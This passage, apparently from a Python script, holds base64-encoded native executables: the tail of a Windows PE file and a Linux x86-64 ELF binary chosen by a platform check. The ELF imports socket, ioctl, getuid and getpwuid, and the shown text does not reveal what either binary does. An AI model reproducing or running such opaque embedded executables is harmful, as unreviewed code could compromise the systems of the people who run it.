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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==') return R if a.__isLinux64(): R = at( 'f0VMRgIBAQMAAAAAAAAAAAIAPgABAAAAgB1AAAAAAABAAAAAAAAAAICFAAAAAAAAAAAAAEAAOAAIAEAAHwAcAAYAAAAFAAAAQAAAAAAAAABAAEAAAAAAAEAAQAAAAAAAwAEAAAAAAADAAQAAAAAAAAgAAAAAAAAAAwAAAAQAAAAAAgAAAAAAAAACQAAAAAAAAAJAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAAAAAAAAABAAAABQAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAFV7AAAAAAAAVXsAAAAAAAAAACAAAAAAAAEAAAAGAAAAAIAAAAAAAAAAgGAAAAAAAACAYAAAAAAARAQAAAAAAACIBQAAAAAAAAAAIAAAAAAAAgAAAAYAAAAwgAAAAAAAADCAYAAAAAAAMIBgAAAAAADAAQAAAAAAAMABAAAAAAAACAAAAAAAAAAEAAAABAAAABwCAAAAAAAAHAJAAAAAAAAcAkAAAAAAAEQAAAAAAAAARAAAAAAAAAAEAAAAAAAAAFDldGQEAAAAmGsAAAAAAACYa0AAAAAAAJhrQAAAAAAAtAEAAAAAAAC0AQAAAAAAAAQAAAAAAAAAUeV0ZAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAvbGliNjQvbGQtbGludXgteDg2LTY0LnNvLjIABAAAABAAAAABAAAAR05VAAAAAAACAAAABgAAABIAAAAEAAAAFAAAAAMAAABHTlUABpRldLfs0O82MXsrcJO+BfUM5GgDAAAARwAAAAEAAAAGAAAAAAISACEBEAEAAAAARwAAAEkAAABQkgj5If30CShF1UwUmAxDeUlrtgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALgEAAASAAAAAAAAAAAAAAAAAAAAAAAAALADAAASAAAAAAAAAAAAAAAAAAAAAAAAAEIAAAASAAAAAAAAAAAAAAAAAAAAAAAAAMgFAAASAAAAAAAAAAAAAAAAAAAAAAAAAAQHAAASAAAAAAAAAAAAAAAAAAAAAAAAAKIDAAASAAAAAAAAAAAAAAAAAAAAAAAAAAsHAAASAAAAAAAAAAAAAAAAAAAAAAAAAMQEAAASAAAAAAAAAAAAAAAAAAAAAAAAABQHAAASAAAAAAAAAAAAAAAAAAAAAAAAACICAAASAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAB8AAAAgAAAAAAAAAAAAAAAAAAAAAAAAALEBAAASAAAAAAAAAAAAAAAAAAAAAAAAAMUDAAASAAAAAAAAAAAAAAAAAAAAAAAAALoFAAASAAAAAAAAAAAAAAAAAAAAAAAAAMUCAAASAAAAAAAAAAAAAAAAAAAAAAAAABoGAAASAAAAAAAAAAAAAAAAAAAAAAAAADgHAAASAAAAAAAAAAAAAAAAAAAAAAAAAGEGAAASAAAAAAAAAAAAAAAAAAAAAAAAAMsAAAASAAAAAAAAAAAAAAAAAAAAAAAAAA0GAAASAAAAAAAAAAAAAAAAAAAAAAAAAPcGAAASAAAAAAAAAAAAAAAAAAAAAAAAACUEAAASAAAAAAAAAAAAAAAAAAAAAAAAAN4FAAASAAAAAAAAAAAAAAAAAAAAAAAAAOgGAAASAAAAAAAAAAAAAAAAAAAAAAAAADQEAAASAAAAAAAAAAAAAAAAAAAAAAAAAG4CAAASAAAAAAAAAAAAAAAAAAAAAAAAAJMFAAASAAAAAAAAAAAAAAAAAAAAAAAAACEHAAASAAAAAAAAAAAAAAAAAAAAAAAAAOAGAAASAAAAAAAAAAAAAAAAAAAAAAAAAFQBAAASAAAAAAAAAAAAAAAAAAAAAAAAACwHAAASAAAAAAAAAAAAAAAAAAAAAAAAAJ0FAAASAAAAAAAAAAAAAAAAAAAAAAAAADIGAAASAAAAAAAAAAAAAAAAAAAAAAAAALAFAAASAAAAAAAAAAAAAAAAAAAAAAAAACcHAAASAAAAAAAAAAAAAAAAAAAAAAAAAPMBAAASAAAAAAAAAAAAAAAAAAAAAAAAANMCAAASAAAAAAAAAAAAAAAAAAAAAAAAAJcGAAASAAAAAAAAAAAAAAAAAAAAAAAAAMABAAASAAAAAAAAAAAAAAAAAAAAAAAAANIGAAASAAAAAAAAAAAAAAAAAAAAAAAAAGwEAAASAAAAAAAAAAAAAAAAAAAAAAAAADEHAAASAAAAAAAAAAAAAAAAAAAAAAAAAL4AAAASAAAAAAAAAAAAAAAAAAAAAAAAANkGAAASAAAAAAAAAAAAAAAAAAAAAAAAAAYEAAASAAAAAAAAAAAAAAAAAAAAAAAAABoHAAASAAAAAAAAAAAAAAAAAAAAAAAAAEwFAAASAAAAAAAAAAAAAAAAAAAAAAAAADMAAAAgAAAAAAAAAAAAAAAAAAAAAAAAALQCAAASAAAAAAAAAAAAAAAAAAAAAAAAABcFAAASAAAAAAAAAAAAAAAAAAAAAAAAABIBAAASAAAAAAAAAAAAAAAAAAAAAAAAAAEBAAASAAAAAAAAAAAAAAAAAAAAAAAAANUEAAASAAAAAAAAAAAAAAAAAAAAAAAAABUEAAASAAAAAAAAAAAAAAAAAAAAAAAAALoDAAASAAAAAAAAAAAAAAAAAAAAAAAAADYDAAASAAAAAAAAAAAAAAAAAAAAAAAAAIYAAAASAAAAAAAAAAAAAAAAAAAAAAAAAJADAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAASAAAAAAAAAAAAAAAAAAAAAAAAAHYBAAASAAAAAAAAAAAAAAAAAAAAAAAAALkGAAASAAAAAAAAAAAAAAAAAAAAAAAAACwCAAASAAAAAAAAAAAAAAAAAAAAAAAAABsDAAASAAAAAAAAAAAAAAAAAAAAAAAAAO4FAAASAAAAAAAAAAAAAAAAAAAAAAAAAHUAAAASAAAAAAAAAAAAAAAAAAAAAAAAAFMFAAASAAAAAAAAAAAAAAAAAAAAAAAAAEgDAAASAAAAAAAAAAAAAAAAAAAAAAAAAH8CAAASAAAAAAAAAAAAAAAAAAAAAAAAAPEGAAASAAAAAAAAAAAAAAAAAAAAAAAAADkCAAAiAA0ArWhAAAAAAABuAAAAAAAAAMsDAAASAAAAgBxAAAAAAAAAAAAAAAAAAOkAAAASAAAAgBpAAAAAAAAAAAAAAAAAANQFAAARABoAYIRgAAAAAAAQAQAAAAAAAGEBAAASAAAA0BxAAAAAAAAAAAAAAAAAAABsaWJzdGRjKysuc28uNgBfX2dtb25fc3RhcnRfXwBfSnZfUmVnaXN0ZXJDbGFzc2VzAHB0aHJlYWRfY2FuY2VsAF9aTlN0MTRiYXNpY19pZnN0cmVhbUljU3QxMWNoYXJfdHJhaXRzSWNFRTVjbG9zZUV2AF9aTktTczRmaW5kRVBLY20AX1pOU3QxOGJhc2ljX3N0cmluZ3N0cmVhbUljU3QxMWNoYXJfdHJhaXRzSWNFU2FJY0VFRDFFdgBfWk5TYUljRUQxRXYAX1pOU2k1c2Vla2dFbFN0MTJfSW9zX1NlZWtkaXIAX1pOU3Q4aW9zX2Jhc2U0SW5pdEQxRXYAX1pOU29sc0VQRlJTb1NfRQBfWk5TdDE0YmFzaWNfaWZzdHJlYW1JY1N0MTFjaGFyX3RyYWl0c0ljRUVDMUVQS2NTdDEzX0lvc19PcGVubW9kZQBfWk5Tc3BMRVJLU3MAX19neHhfcGVyc29uYWxpdHlfdjAAX1pOS1N0MThiYXNpY19zdHJpbmdzdHJlYW1JY1N0MTFjaGFyX3RyYWl0c0ljRVNhSWNFRTNzdHJFdgBfWk5LU3M1Y19zdHJFdgBfWk5TdDE0YmFzaWNfb2ZzdHJlYW1JY1N0MTFjaGFyX3RyYWl0c0ljRUU1Y2xvc2VFdgBfWk5TdDE0YmFzaWNfb2ZzdHJlYW1JY1N0MTFjaGFyX3RyYWl0c0ljRUVEMUV2AF9aTlNzcExFYwBfWk5Tc2FTRVJLU3MAX1pTdHBsSWNTdDExY2hhcl90cmFpdHNJY0VTYUljRUVTYklUX1QwX1QxX0VSS1M2X1M4XwBfWk5TbzV3cml0ZUVQS2NsAF9aTlN0MTRiYXNpY19pZnN0cmVhbUljU3QxMWNoYXJfdHJhaXRzSWNFRTdpc19vcGVuRXYAX1pOU3M2YXBwZW5kRVBLYwBfWk5LU3M0c2l6ZUV2AF9aTlN0MThiYXNpY19zdHJpbmdzdHJlYW1JY1N0MTFjaGFyX3RyYWl0c0ljRVNhSWNFRUMxRVN0MTNfSW9zX09wZW5tb2RlAF9aTlNvbHNFUEZSU3Q4aW9zX2Jhc2VTMF9FAF9fY3hhX2JlZ2luX2NhdGNoAF9aU3Rsc0ljU3QxMWNoYXJfdHJhaXRzSWNFRVJTdDEzYmFzaWNfb3N0cmVhbUlUX1QwX0VTNl9TdDhfU2V0ZmlsbElTM19FAF9aTlNzOXB1c2hfYmFja0VjAF9aTlNzNWNsZWFyRXYAX1pOU3NDMUV2AF9aTlNpcnNFUm0AX1puYW0AX1pTdDRlbmRsSWNTdDExY2hhcl90cmFpdHNJY0VFUlN0MTNiYXNpY19vc3RyZWFtSVRfVDBfRVM2XwBfWk5TczVlcmFzZUVtbQBfX2N4YV9lbmRfY2F0Y2gAX1pOU2k0cmVhZEVQY2wAX1pTdGxzSVN0MTFjaGFyX3RyYWl0c0ljRUVSU3QxM2Jhc2ljX29zdHJlYW1JY1RfRVM1X1BLYwBfWlN0bHNJY1N0MTFjaGFyX3RyYWl0c0ljRVNhSWNFRVJTdDEzYmFzaWNfb3N0cmVhbUlUX1QwX0VTN19SS1NiSVM0X1M1X1QxX0UAX1pOU3NhU0VQS2MAX1pOS1NzNnN1YnN0ckVtbQBfWk5TdDE0YmFzaWNfb2ZzdHJlYW1JY1N0MTFjaGFyX3RyYWl0c0ljRUVDMUVQS2NTdDEzX0lvc19PcGVubW9kZQBfWk5TdDE0YmFzaWNfb2ZzdHJlYW1JY1N0MTFjaGFyX3RyYWl0c0ljRUU3aXNfb3BlbkV2AF9aZGFQdgBfWlN0bHNJY1N0MTFjaGFyX3RyYWl0c0ljRUVSU3QxM2Jhc2ljX29zdHJlYW1JVF9UMF9FUzZfU3Q1X1NldHcAX1pOU3NEMUV2AF9aTlNzQzFFUEtjUktTYUljRQBfWk5Tc2l4RW0AX1pOU2k1dGVsbGdFdgBfWk5Tc3BMRVBLYwBfWlN0NGNvdXQAX1pOS1NzNmxlbmd0aEV2AF9aTlNzNmFwcGVuZEVSS1NzAF9aTlNhSWNFQzFFdgBfWk5Tc0MxRVJLU3MAX1pOU3Q4aW9zX2Jhc2U0SW5pdEMxRXYAX1pOU3QxNGJhc2ljX2lmc3RyZWFtSWNTdDExY2hhcl90cmFpdHNJY0VFRDFFdgBfWlN0bHNJU3QxMWNoYXJfdHJhaXRzSWNFRVJTdDEzYmFzaWNfb3N0cmVhbUljVF9FUzVfaABfWk5Tb2xzRWoAbGlibS5zby42AGxpYmdjY19zLnNvLjEAX1Vud2luZF9SZXN1bWUAbGliYy5zby42AHNvY2tldABzdHJjcHkAc3ByaW50ZgBnZXRwd3VpZABta2RpcgBfX2N4YV9hdGV4aXQAbWVtc2V0AHNodXRkb3duAGlvY3RsAGdldHVpZABiY29weQBhdG9pAGF0b2wAc3RyY21wAF9fbGliY19zdGFydF9tYWluAEdDQ18zLjAAR0xJQkNfMi4yLjUAQ1hYQUJJXzEuMwBHTElCQ1hYXzMuNAAAAAACAAIAAgACAAMAAgADAAIAAwACAAAAAAACAAIAAgACAAIAAwACAAIAAgADAAIAAgADAAIAAgACAAMAAwACAAMAAgACAAIAAwACAAIAAgACAAMAAgADAAIAAwACAAMAAgAAAAIA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AAAAAAcAAABDAAAAAAAAAAAAAAAohGAAAAAAAAcAAABEAAAAAAAAAAAAAAAwhGAAAAAAAAcAAABFAAAAAAAAAAAAAAA4hGAAAAAAAAcAAABGAAAAAAAAAAAAAABIg+wI6KsEAADoOgUAAOi1UAAASIPECMP/NepoIAD/JexoIAAPH0AA/yXqaCAAaAAAAADp4P////8l4mggAGgBAAAA6dD/////JdpoIABoAgAAAOnA/////yXSaCAAaAMAAADpsP////8lymggAGgEAAAA6aD/////JcJoIABoBQAAAOmQ/////yW6aCAAaAYAAADpgP////8lsmggAGgHAAAA6XD/////JapoIABoCAAAAOlg/////yWiaCAAaAkAAADpUP////8lmmggAGgKAAAA6UD/////JZJoIABoCwAAAOkw/////yWKaCAAaAwAAADpIP////8lgmggAGgNAAAA6RD/////JXpoIABoDgAAAOkA/////yVyaCAAaA8AAADp8P7///8lamggAGgQAAAA6eD+////JWJoIABoEQAAAOnQ/v///yVaaCAAaBIAAADpwP7///8lUmggAGgTAAAA6bD+////JUpoIABoFAAAAOmg/v///yVCaCAAaBUAAADpkP7///8lOmggAGgWAAAA6YD+////JTJoIABoFwAAAOlw/v///yUqaCAAaBgAAADpYP7///8lImggAGgZAAAA6VD+////JRpoIABoGgAAAOlA/v///yUSaCAAaBsAAADpMP7///8lCmgg